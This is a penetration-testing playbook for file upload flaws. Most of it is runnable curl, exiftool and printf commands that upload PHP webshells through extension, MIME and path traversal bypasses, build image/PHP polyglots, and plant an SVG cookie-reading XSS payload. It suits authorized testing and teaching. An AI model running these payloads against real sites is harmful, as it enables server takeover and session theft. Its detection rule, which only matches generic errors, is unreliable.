<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: testing-file-upload-vulnerabilities
description: >-
  Test file upload functionality for unrestricted upload, MIME type bypass,
  extension filter evasion, path traversal, webshell upload, polyglot files,
  and content-type manipulation leading to RCE or stored XSS.
domain: cybersecurity
subdomain: application-security
tags:
  - file-upload
  - webshell
  - mime-bypass
  - path-traversal
  - owasp-a04
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1505.003", "T1059"]
  owasp-top10: ["A04"]
  tools: ["burp-suite", "curl", "exiftool", "nuclei"]
---

# Testing File Upload Vulnerabilities

## Overview

File upload vulnerabilities allow attackers to upload malicious files such
as webshells, polyglot images containing code, or files with manipulated
extensions to achieve remote code execution, stored XSS, or path traversal.

## Prerequisites

- Tools: ["burp-suite", "curl", "exiftool", "nuclei"]
- Authorized testing engagement with written scope
- Target application access and credentials

## Workflow

### Step 1: Extension Filter Bypass

```bash
# Test various extension bypasses
EXTENSIONS=("php" "php5" "phtml" "phar" "phps" "php.jpg" "php%00.jpg" "pHp")
for ext in "${EXTENSIONS[@]}"; do
  curl -s -X POST https://target.com/upload \
    -F "file=@shell.$ext" -o /dev/null -w ".$ext: %{http_code}\n"
done

# Double extension bypass
cp shell.php shell.php.jpg
curl -s -X POST https://target.com/upload -F "file=@shell.php.jpg"

# Null byte bypass (legacy systems)
curl -s -X POST https://target.com/upload -F "file=@shell.php%00.jpg"
```

### Step 2: MIME Type Manipulation

```bash
# Upload PHP with image MIME type
curl -s -X POST https://target.com/upload \
  -F "file=@shell.php;type=image/jpeg" -o /dev/null -w "%{http_code}"

# Upload with crafted Content-Type header
curl -s -X POST https://target.com/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="shell.php"\r\nContent-Type: image/jpeg\r\n\r\n<?php system($_GET["cmd"]); ?>\r\n------Boundary--'
```

### Step 3: Polyglot File Creation

```bash
# Create polyglot JPEG/PHP
exiftool -Comment="<?php system(\$_GET['cmd']); ?>" image.jpg -o polyglot.php.jpg

# Create GIF/PHP polyglot
printf "GIF89a<?php system(\$_GET['cmd']); ?>" > polyglot.gif.php

# SVG with JavaScript (stored XSS)
cat > xss.svg << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <text>test</text>
</svg>
EOF
curl -s -X POST https://target.com/upload -F "file=@xss.svg"
```

### Step 4: Path Traversal in Upload

```bash
# Test filename path traversal
curl -s -X POST https://target.com/upload \
  -F "file=@shell.php;filename=../../../var/www/html/shell.php"

curl -s -X POST https://target.com/upload \
  -F "file=@shell.php;filename=....//....//....//var/www/html/shell.php"
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Webshell upload | WAF/AV | PHP/JSP/ASP content in uploaded files |
| Extension bypass | App logs | Double extensions or null bytes in filename |
| Path traversal | WAF | ../ sequences in upload filename |
| Polyglot files | File scanner | Script content in image magic bytes |

```yaml
title: Testing File Upload Vulnerabilities Detection
id: dbea9001-2717-43d8-96f5-50ae95c171c1
status: experimental
description: Detects suspicious activity related to testing file upload vulnerabilities techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1505.003
  - attack.t1059
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] All relevant attack vectors tested
- [ ] Findings documented with severity and evidence
- [ ] Detection artifacts identified
- [ ] Remediation recommendations provided

## References

- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
- [MITRE ATT&CK](https://attack.mitre.org/)
